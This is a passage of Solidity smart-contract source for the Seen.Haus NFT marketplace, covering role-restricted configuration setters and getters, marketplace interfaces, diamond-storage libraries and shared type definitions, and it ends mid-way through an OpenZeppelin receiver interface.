uint16 _primaryFeePercentage,
uint16 _secondaryFeePercentage,
uint16 _maxRoyaltyPercentage,
uint16 _outBidPercentage,
Ticketer _defaultTicketerType
)
public
onlyUnInitialized
{
// Register supported interfaces
DiamondLib.addSupportedInterface(type(IMarketConfig).interfaceId); // when combined with IMarketClerk ...
DiamondLib.addSupportedInterface(type(IMarketConfig).interfaceId ^ type(IMarketClerk).interfaceId); // ... supports IMarketController
// Initialize market config params
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.staking = _staking;
mcs.multisig = _multisig;
mcs.vipStakerAmount = _vipStakerAmount;
mcs.primaryFeePercentage = _primaryFeePercentage;
mcs.secondaryFeePercentage = _secondaryFeePercentage;
mcs.maxRoyaltyPercentage = _maxRoyaltyPercentage;
mcs.outBidPercentage = _outBidPercentage;
mcs.defaultTicketerType = _defaultTicketerType;
}
/**
* @notice Sets the address of the SEEN NFT contract.
*
* Emits a NFTAddressChanged event.
*
* @param _nft - the address of the nft contract
*/
function setNft(address _nft)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.nft = _nft;
emit NFTAddressChanged(_nft);
}
/**
* @notice The nft getter
*/
function getNft()
external
override
view
returns (address)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.nft;
}
/**
* @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _lotsTicketer - the address of the lots-based escrow ticketer contract
*/
function setLotsTicketer(address _lotsTicketer)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.lotsTicketer = _lotsTicketer;
emit EscrowTicketerAddressChanged(mcs.lotsTicketer, Ticketer.Lots);
}
/**
* @notice The lots-based escrow ticketer getter
*/
function getLotsTicketer()
external
override
view
returns (address)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.lotsTicketer;
}
/**
* @notice Sets the address of the Seen.Haus items-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _itemsTicketer - the address of the items-based escrow ticketer contract
*/
function setItemsTicketer(address _itemsTicketer)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.itemsTicketer = _itemsTicketer;
emit EscrowTicketerAddressChanged(mcs.itemsTicketer, Ticketer.Items);
}
/**
* @notice The items-based ticketer getter
*/
function getItemsTicketer()
external
override
view
returns (address)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.itemsTicketer;
}
/**
* @notice Sets the address of the xSEEN ERC-20 staking contract.
*
* Emits a StakingAddressChanged event.
*
* @param _staking - the address of the staking contract
*/
function setStaking(address payable _staking)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.staking = _staking;
emit StakingAddressChanged(mcs.staking);
}
/**
* @notice The staking getter
*/
function getStaking()
external
override
view
returns (address payable)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.staking;
}
/**
* @notice Sets the address of the Seen.Haus multi-sig wallet.
*
* Emits a MultisigAddressChanged event.
*
* @param _multisig - the address of the multi-sig wallet
*/
function setMultisig(address payable _multisig)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.multisig = _multisig;
emit MultisigAddressChanged(mcs.multisig);
}
/**
* @notice The multisig getter
*/
function getMultisig()
external
override
view
returns (address payable)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.multisig;
}
/**
* @notice Sets the VIP staker amount.
*
* Emits a VipStakerAmountChanged event.
*
* @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events
*/
function setVipStakerAmount(uint256 _vipStakerAmount)
external
override
onlyRole(MULTISIG)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.vipStakerAmount = _vipStakerAmount;
emit VipStakerAmountChanged(mcs.vipStakerAmount);
}
/**
* @notice The vipStakerAmount getter
*/
function getVipStakerAmount()
external
override
view
returns (uint256)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.vipStakerAmount;
}
/**
* @notice Sets the marketplace fee percentage.
* Emits a PrimaryFeePercentageChanged event.
*
* @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setPrimaryFeePercentage(uint16 _primaryFeePercentage)
external
override
onlyRole(MULTISIG)
{
require(_primaryFeePercentage > 0 && _primaryFeePercentage <= 10000,
"Percentage representation must be between 1 and 10000");
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.primaryFeePercentage = _primaryFeePercentage;
emit PrimaryFeePercentageChanged(mcs.primaryFeePercentage);
}
/**
* @notice Sets the marketplace fee percentage.
* Emits a FeePercentageChanged event.
*
* @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties)
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setSecondaryFeePercentage(uint16 _secondaryFeePercentage)
external
override
onlyRole(MULTISIG)
{
require(_secondaryFeePercentage > 0 && _secondaryFeePercentage <= 10000,
"Percentage representation must be between 1 and 10000");
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.secondaryFeePercentage = _secondaryFeePercentage;
emit SecondaryFeePercentageChanged(mcs.secondaryFeePercentage);
}
/**
* @notice The primaryFeePercentage and secondaryFeePercentage getter
*/
function getFeePercentage(Market _market)
external
override
view
returns (uint16)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
if(_market == Market.Primary) {
return mcs.primaryFeePercentage;
} else {
return mcs.secondaryFeePercentage;
}
}
/**
* @notice Sets the maximum royalty percentage the marketplace will pay.
*
* Emits a MaxRoyaltyPercentageChanged event.
*
* @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage)
external
override
onlyRole(MULTISIG)
{
require(_maxRoyaltyPercentage > 0 && _maxRoyaltyPercentage <= 10000,
"Percentage representation must be between 1 and 10000");
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.maxRoyaltyPercentage = _maxRoyaltyPercentage;
emit MaxRoyaltyPercentageChanged(mcs.maxRoyaltyPercentage);
}
/**
* @notice The maxRoyaltyPercentage getter
*/
function getMaxRoyaltyPercentage()
external
override
view
returns (uint16)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.maxRoyaltyPercentage;
}
/**
* @notice Sets the marketplace auction outbid percentage.
*
* Emits a OutBidPercentageChanged event.
*
* @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setOutBidPercentage(uint16 _outBidPercentage)
external
override
onlyRole(ADMIN)
{
require(_outBidPercentage > 0 && _outBidPercentage <= 10000,
"Percentage representation must be between 1 and 10000");
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
mcs.outBidPercentage = _outBidPercentage;
emit OutBidPercentageChanged(mcs.outBidPercentage);
}
/**
* @notice The outBidPercentage getter
*/
function getOutBidPercentage()
external
override
view
returns (uint16)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.outBidPercentage;
}
/**
* @notice Sets the default escrow ticketer type.
*
* Emits a DefaultTicketerTypeChanged event.
*
* Reverts if _ticketerType is Ticketer.Default
* Reverts if _ticketerType is already the defaultTicketerType
*
* @param _ticketerType - the new default escrow ticketer type.
*/
function setDefaultTicketerType(Ticketer _ticketerType)
external
override
onlyRole(ADMIN)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
require(_ticketerType != Ticketer.Default, "Invalid ticketer type.");
require(_ticketerType != mcs.defaultTicketerType, "Type is already default.");
mcs.defaultTicketerType = _ticketerType;
emit DefaultTicketerTypeChanged(mcs.defaultTicketerType);
}
/**
* @notice The defaultTicketerType getter
*/
function getDefaultTicketerType()
external
override
view
returns (Ticketer)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
return mcs.defaultTicketerType;
}
/**
* @notice Get the Escrow Ticketer to be used for a given consignment
*
* If a specific ticketer has not been set for the consignment,
* the default escrow ticketer will be returned.
*
* Reverts if consignment doesn't exist
* *
* @param _consignmentId - the id of the consignment
* @return ticketer = the address of the escrow ticketer to use
*/
function getEscrowTicketer(uint256 _consignmentId)
external
override
view
consignmentExists(_consignmentId)
returns (address)
{
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
Ticketer specified = mcs.consignmentTicketers[_consignmentId];
Ticketer ticketerType = (specified == Ticketer.Default) ? mcs.defaultTicketerType : specified;
return (ticketerType == Ticketer.Lots) ? mcs.lotsTicketer : mcs.itemsTicketer;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "./IMarketConfig.sol";
import "./IMarketConfigAdditional.sol";
import "./IMarketClerk.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
*
* The ERC-165 identifier for this interface is: 0xbb8dba77
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketController is IMarketClerk, IMarketConfig, IMarketConfigAdditional {}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
* @dev Contributes its events and functions to the IMarketController interface
*
* The ERC-165 identifier for this interface is: 0x57f9f26d
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketConfig {
/// Events
event NFTAddressChanged(address indexed nft);
event EscrowTicketerAddressChanged(address indexed escrowTicketer, SeenTypes.Ticketer indexed ticketerType);
event StakingAddressChanged(address indexed staking);
event MultisigAddressChanged(address indexed multisig);
event VipStakerAmountChanged(uint256 indexed vipStakerAmount);
event PrimaryFeePercentageChanged(uint16 indexed feePercentage);
event SecondaryFeePercentageChanged(uint16 indexed feePercentage);
event MaxRoyaltyPercentageChanged(uint16 indexed maxRoyaltyPercentage);
event OutBidPercentageChanged(uint16 indexed outBidPercentage);
event DefaultTicketerTypeChanged(SeenTypes.Ticketer indexed ticketerType);
/**
* @notice Sets the address of the xSEEN ERC-20 staking contract.
*
* Emits a NFTAddressChanged event.
*
* @param _nft - the address of the nft contract
*/
function setNft(address _nft) external;
/**
* @notice The nft getter
*/
function getNft() external view returns (address);
/**
* @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _lotsTicketer - the address of the items-based escrow ticketer contract
*/
function setLotsTicketer(address _lotsTicketer) external;
/**
* @notice The lots-based escrow ticketer getter
*/
function getLotsTicketer() external view returns (address);
/**
* @notice Sets the address of the Seen.Haus items-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _itemsTicketer - the address of the items-based escrow ticketer contract
*/
function setItemsTicketer(address _itemsTicketer) external;
/**
* @notice The items-based escrow ticketer getter
*/
function getItemsTicketer() external view returns (address);
/**
* @notice Sets the address of the xSEEN ERC-20 staking contract.
*
* Emits a StakingAddressChanged event.
*
* @param _staking - the address of the staking contract
*/
function setStaking(address payable _staking) external;
/**
* @notice The staking getter
*/
function getStaking() external view returns (address payable);
/**
* @notice Sets the address of the Seen.Haus multi-sig wallet.
*
* Emits a MultisigAddressChanged event.
*
* @param _multisig - the address of the multi-sig wallet
*/
function setMultisig(address payable _multisig) external;
/**
* @notice The multisig getter
*/
function getMultisig() external view returns (address payable);
/**
* @notice Sets the VIP staker amount.
*
* Emits a VipStakerAmountChanged event.
*
* @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events
*/
function setVipStakerAmount(uint256 _vipStakerAmount) external;
/**
* @notice The vipStakerAmount getter
*/
function getVipStakerAmount() external view returns (uint256);
/**
* @notice Sets the marketplace fee percentage.
* Emits a PrimaryFeePercentageChanged event.
*
* @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setPrimaryFeePercentage(uint16 _primaryFeePercentage) external;
/**
* @notice Sets the marketplace fee percentage.
* Emits a SecondaryFeePercentageChanged event.
*
* @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties)
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setSecondaryFeePercentage(uint16 _secondaryFeePercentage) external;
/**
* @notice The primaryFeePercentage and secondaryFeePercentage getter
*/
function getFeePercentage(SeenTypes.Market _market) external view returns (uint16);
/**
* @notice Sets the external marketplace maximum royalty percentage.
*
* Emits a MaxRoyaltyPercentageChanged event.
*
* @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty
*/
function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage) external;
/**
* @notice The maxRoyaltyPercentage getter
*/
function getMaxRoyaltyPercentage() external view returns (uint16);
/**
* @notice Sets the marketplace auction outbid percentage.
*
* Emits a OutBidPercentageChanged event.
*
* @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail
*/
function setOutBidPercentage(uint16 _outBidPercentage) external;
/**
* @notice The outBidPercentage getter
*/
function getOutBidPercentage() external view returns (uint16);
/**
* @notice Sets the default escrow ticketer type.
*
* Emits a DefaultTicketerTypeChanged event.
*
* Reverts if _ticketerType is Ticketer.Default
* Reverts if _ticketerType is already the defaultTicketerType
*
* @param _ticketerType - the new default escrow ticketer type.
*/
function setDefaultTicketerType(SeenTypes.Ticketer _ticketerType) external;
/**
* @notice The defaultTicketerType getter
*/
function getDefaultTicketerType() external view returns (SeenTypes.Ticketer);
/**
* @notice Get the Escrow Ticketer to be used for a given consignment
*
* If a specific ticketer has not been set for the consignment,
* the default escrow ticketer will be returned.
*
* @param _consignmentId - the id of the consignment
* @return ticketer = the address of the escrow ticketer to use
*/
function getEscrowTicketer(uint256 _consignmentId) external view returns (address ticketer);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
import "../domain/SeenTypes.sol";
/**
* @title IMarketClerk
*
* @notice Manages consignments for the Seen.Haus contract suite.
*
* The ERC-165 identifier for this interface is: 0xec74481a
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketClerk is IERC1155ReceiverUpgradeable, IERC721ReceiverUpgradeable {
/// Events
event ConsignmentTicketerChanged(uint256 indexed consignmentId, SeenTypes.Ticketer indexed ticketerType);
event ConsignmentFeeChanged(uint256 indexed consignmentId, uint16 customConsignmentFee);
event ConsignmentPendingPayoutSet(uint256 indexed consignmentId, uint256 amount);
event ConsignmentRegistered(address indexed consignor, address indexed seller, SeenTypes.Consignment consignment);
event ConsignmentMarketed(address indexed consignor, address indexed seller, uint256 indexed consignmentId);
event ConsignmentReleased(uint256 indexed consignmentId, uint256 amount, address releasedTo);
/**
* @notice The nextConsignment getter
*/
function getNextConsignment() external view returns (uint256);
/**
* @notice The consignment getter
*/
function getConsignment(uint256 _consignmentId) external view returns (SeenTypes.Consignment memory);
/**
* @notice Get the remaining supply of the given consignment.
*
* @param _consignmentId - the id of the consignment
* @return uint256 - the remaining supply held by the MarketController
*/
function getUnreleasedSupply(uint256 _consignmentId) external view returns(uint256);
/**
* @notice Get the consignor of the given consignment
*
* @param _consignmentId - the id of the consignment
* @return address - consigner's address
*/
function getConsignor(uint256 _consignmentId) external view returns(address);
/**
* @notice Registers a new consignment for sale or auction.
*
* Emits a ConsignmentRegistered event.
*
* @param _market - the market for the consignment. See {SeenTypes.Market}
* @param _consignor - the address executing the consignment transaction
* @param _seller - the seller of the consignment
* @param _tokenAddress - the contract address issuing the NFT behind the consignment
* @param _tokenId - the id of the token being consigned
* @param _supply - the amount of the token being consigned
*
* @return Consignment - the registered consignment
*/
function registerConsignment(
SeenTypes.Market _market,
address _consignor,
address payable _seller,
address _tokenAddress,
uint256 _tokenId,
uint256 _supply
)
external
returns(SeenTypes.Consignment memory);
/**
* @notice Update consignment to indicate it has been marketed
*
* Emits a ConsignmentMarketed event.
*
* Reverts if consignment has already been marketed.
* A consignment is considered as marketed if it has a marketHandler other than Unhandled. See: {SeenTypes.MarketHandler}
*
* @param _consignmentId - the id of the consignment
*/
function marketConsignment(uint256 _consignmentId, SeenTypes.MarketHandler _marketHandler) external;
/**
* @notice Release the consigned item to a given address
*
* Emits a ConsignmentReleased event.
*
* Reverts if caller is does not have MARKET_HANDLER role.
*
* @param _consignmentId - the id of the consignment
* @param _amount - the amount of the consigned supply to release
* @param _releaseTo - the address to transfer the consigned token balance to
*/
function releaseConsignment(uint256 _consignmentId, uint256 _amount, address _releaseTo) external;
/**
* @notice Clears the pending payout value of a consignment
*
* Emits a ConsignmentPayoutSet event.
*
* Reverts if:
* - caller is does not have MARKET_HANDLER role.
* - consignment doesn't exist
*
* @param _consignmentId - the id of the consignment
* @param _amount - the amount of that the consignment's pendingPayout must be set to
*/
function setConsignmentPendingPayout(uint256 _consignmentId, uint256 _amount) external;
/**
* @notice Set the type of Escrow Ticketer to be used for a consignment
*
* Default escrow ticketer is Ticketer.Lots. This only needs to be called
* if overriding to Ticketer.Items for a given consignment.
*
* Emits a ConsignmentTicketerSet event.
* Reverts if consignment is not registered.
*
* @param _consignmentId - the id of the consignment
* @param _ticketerType - the type of ticketer to use. See: {SeenTypes.Ticketer}
*/
function setConsignmentTicketer(uint256 _consignmentId, SeenTypes.Ticketer _ticketerType) external;
/**
* @notice Set a custom fee percentage on a consignment (e.g. for "official" SEEN x Artist drops)
*
* Default escrow ticketer is Ticketer.Lots. This only needs to be called
* if overriding to Ticketer.Items for a given consignment.
*
* Emits a ConsignmentFeeChanged event.
*
* Reverts if consignment doesn't exist *
*
* @param _consignmentId - the id of the consignment
* @param _customFeePercentageBasisPoints - the custom fee percentage basis points to use
*
* N.B. _customFeePercentageBasisPoints percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setConsignmentCustomFee(uint256 _consignmentId, uint16 _customFeePercentageBasisPoints) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { IAccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol";
import { IDiamondCut } from "../../interfaces/IDiamondCut.sol";
/**
* @title DiamondLib
*
* @notice Diamond storage slot and supported interfaces
*
* @notice Based on Nick Mudge's gas-optimized diamond-2 reference,
* with modifications to support role-based access and management of
* supported interfaces.
*
* Reference Implementation : https://github.com/mudgen/diamond-2-hardhat
* EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535
*
* N.B. Facet management functions from original `DiamondLib` were refactor/extracted
* to JewelerLib, since business facets also use this library for access control and
* managing supported interfaces.
*
* @author Nick Mudge <[email protected]> (https://twitter.com/mudgen)
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
library DiamondLib {
bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage");
struct DiamondStorage {
// maps function selectors to the facets that execute the functions.
// and maps the selectors to their position in the selectorSlots array.
// func selector => address facet, selector position
mapping(bytes4 => bytes32) facets;
// array of slots of function selectors.
// each slot holds 8 function selectors.
mapping(uint256 => bytes32) selectorSlots;
// The number of function selectors in selectorSlots
uint16 selectorCount;
// Used to query if a contract implements an interface.
// Used to implement ERC-165.
mapping(bytes4 => bool) supportedInterfaces;
// The Seen.Haus AccessController
IAccessControlUpgradeable accessController;
}
/**
* @notice Get the Diamond storage slot
*
* @return ds - Diamond storage slot cast to DiamondStorage
*/
function diamondStorage() internal pure returns (DiamondStorage storage ds) {
bytes32 position = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := position
}
}
/**
* @notice Add a supported interface to the Diamond
*
* @param _interfaceId - the interface to add
*/
function addSupportedInterface(bytes4 _interfaceId) internal {
// Get the DiamondStorage struct
DiamondStorage storage ds = diamondStorage();
// Flag the interfaces as supported
ds.supportedInterfaces[_interfaceId] = true;
}
/**
* @notice Implementation of ERC-165 interface detection standard.
*
* @param _interfaceId - the sighash of the given interface
*/
function supportsInterface(bytes4 _interfaceId) internal view returns (bool) {
// Get the DiamondStorage struct
DiamondStorage storage ds = diamondStorage();
// Return the value
return ds.supportedInterfaces[_interfaceId] || false;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "./MarketControllerLib.sol";
import "../diamond/DiamondLib.sol";
import "../../domain/SeenTypes.sol";
import "../../domain/SeenConstants.sol";
/**
* @title MarketControllerBase
*
* @notice Provides domain and common modifiers to MarketController facets
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
abstract contract MarketControllerBase is SeenTypes, SeenConstants {
/**
* @dev Modifier that checks that the consignment exists
*
* Reverts if the consignment does not exist
*/
modifier consignmentExists(uint256 _consignmentId) {
MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage();
// Make sure the consignment exists
require(_consignmentId < mcs.nextConsignment, "Consignment does not exist");
_;
}
/**
* @dev Modifier that checks that the caller has a specific role.
*
* Reverts if caller doesn't have role.
*
* See: {AccessController.hasRole}
*/
modifier onlyRole(bytes32 _role) {
DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage();
require(ds.accessController.hasRole(_role, msg.sender), "Caller doesn't have role");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../domain/SeenTypes.sol";
/**
* @title MarketControllerLib
*
* @dev Provides access to the the MarketController Storage and Intializer slots for MarketController facets
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
library MarketControllerLib {
bytes32 constant MARKET_CONTROLLER_STORAGE_POSITION = keccak256("seen.haus.market.controller.storage");
bytes32 constant MARKET_CONTROLLER_INITIALIZERS_POSITION = keccak256("seen.haus.market.controller.initializers");
struct MarketControllerStorage {
// the address of the Seen.Haus NFT contract
address nft;
// the address of the xSEEN ERC-20 Seen.Haus staking contract
address payable staking;
// the address of the Seen.Haus multi-sig wallet
address payable multisig;
// address of the Seen.Haus lots-based escrow ticketing contract
address lotsTicketer;
// address of the Seen.Haus items-based escrow ticketing contract
address itemsTicketer;
// the default escrow ticketer type to use for physical consignments unless overridden with setConsignmentTicketer
SeenTypes.Ticketer defaultTicketerType;
// the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events
uint256 vipStakerAmount;
// the percentage that will be taken as a fee from the net of a Seen.Haus sale or auction
uint16 primaryFeePercentage; // 1.75% = 175, 100% = 10000
// the percentage that will be taken as a fee from the net of a Seen.Haus sale or auction (after royalties)
uint16 secondaryFeePercentage; // 1.75% = 175, 100% = 10000
// the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty
uint16 maxRoyaltyPercentage; // 1.75% = 175, 100% = 10000
// the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail
uint16 outBidPercentage; // 1.75% = 175, 100% = 10000
// next consignment id
uint256 nextConsignment;
// whether or not external NFTs can be sold via secondary market
bool allowExternalTokensOnSecondary;
// consignment id => consignment
mapping(uint256 => SeenTypes.Consignment) consignments;
// consignmentId to consignor address
mapping(uint256 => address) consignors;
// consignment id => ticketer type
mapping(uint256 => SeenTypes.Ticketer) consignmentTicketers;
// escrow agent address => feeBasisPoints
mapping(address => uint16) escrowAgentToFeeBasisPoints;
}
struct MarketControllerInitializers {
// MarketConfigFacet initialization state
bool configFacet;
// MarketConfigFacet initialization state
bool configAdditionalFacet;
// MarketClerkFacet initialization state
bool clerkFacet;
}
function marketControllerStorage() internal pure returns (MarketControllerStorage storage mcs) {
bytes32 position = MARKET_CONTROLLER_STORAGE_POSITION;
assembly {
mcs.slot := position
}
}
function marketControllerInitializers() internal pure returns (MarketControllerInitializers storage mci) {
bytes32 position = MARKET_CONTROLLER_INITIALIZERS_POSITION;
assembly {
mci.slot := position
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
* @dev Contributes its events and functions to the IMarketController interface
*
* The ERC-165 identifier for this interface is: 0x57f9f26d
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketConfigAdditional {
/// Events
event AllowExternalTokensOnSecondaryChanged(bool indexed status);
event EscrowAgentFeeChanged(address indexed escrowAgent, uint16 fee);
/**
* @notice Sets whether or not external tokens can be listed on secondary market
*
* Emits an AllowExternalTokensOnSecondaryChanged event.
*
* @param _status - boolean of whether or not external tokens are allowed
*/
function setAllowExternalTokensOnSecondary(bool _status) external;
/**
* @notice The allowExternalTokensOnSecondary getter
*/
function getAllowExternalTokensOnSecondary() external view returns (bool status);
/**
* @notice The escrow agent fee getter
*/
function getEscrowAgentFeeBasisPoints(address _escrowAgentAddress) external view returns (uint16);
/**
* @notice The escrow agent fee setter
*/
function setEscrowAgentFeeBasisPoints(address _escrowAgentAddress, uint16 _basisPoints) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @title SeenTypes
*
* @notice Enums and structs used by the Seen.Haus contract ecosystem.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract SeenTypes {
enum Market {
Primary,
Secondary
}
enum MarketHandler {
Unhandled,
Auction,
Sale
}
enum Clock {
Live,
Trigger
}
enum Audience {
Open,
Staker,
VipStaker
}
enum Outcome {
Pending,
Closed,
Canceled
}
enum State {
Pending,
Running,
Ended
}
enum Ticketer {
Default,
Lots,
Items
}
struct Token {
address payable creator;
uint16 royaltyPercentage;
bool isPhysical;
uint256 id;
uint256 supply;
string uri;
}
struct Consignment {
Market market;
MarketHandler marketHandler;
address payable seller;
address tokenAddress;
uint256 tokenId;
uint256 supply;
uint256 id;
bool multiToken;
bool released;
uint256 releasedSupply;
uint16 customFeePercentageBasisPoints;
uint256 pendingPayout;
}
struct Auction {
address payable buyer;
uint256 consignmentId;
uint256 start;
uint256 duration;
uint256 reserve;
uint256 bid;
Clock clock;
State state;
Outcome outcome;
}
struct Sale {
uint256 consignmentId;
uint256 start;
uint256 price;
uint256 perTxCap;
State state;
Outcome outcome;
}
struct EscrowTicket {
uint256 amount;
uint256 consignmentId;
uint256 id;
string itemURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
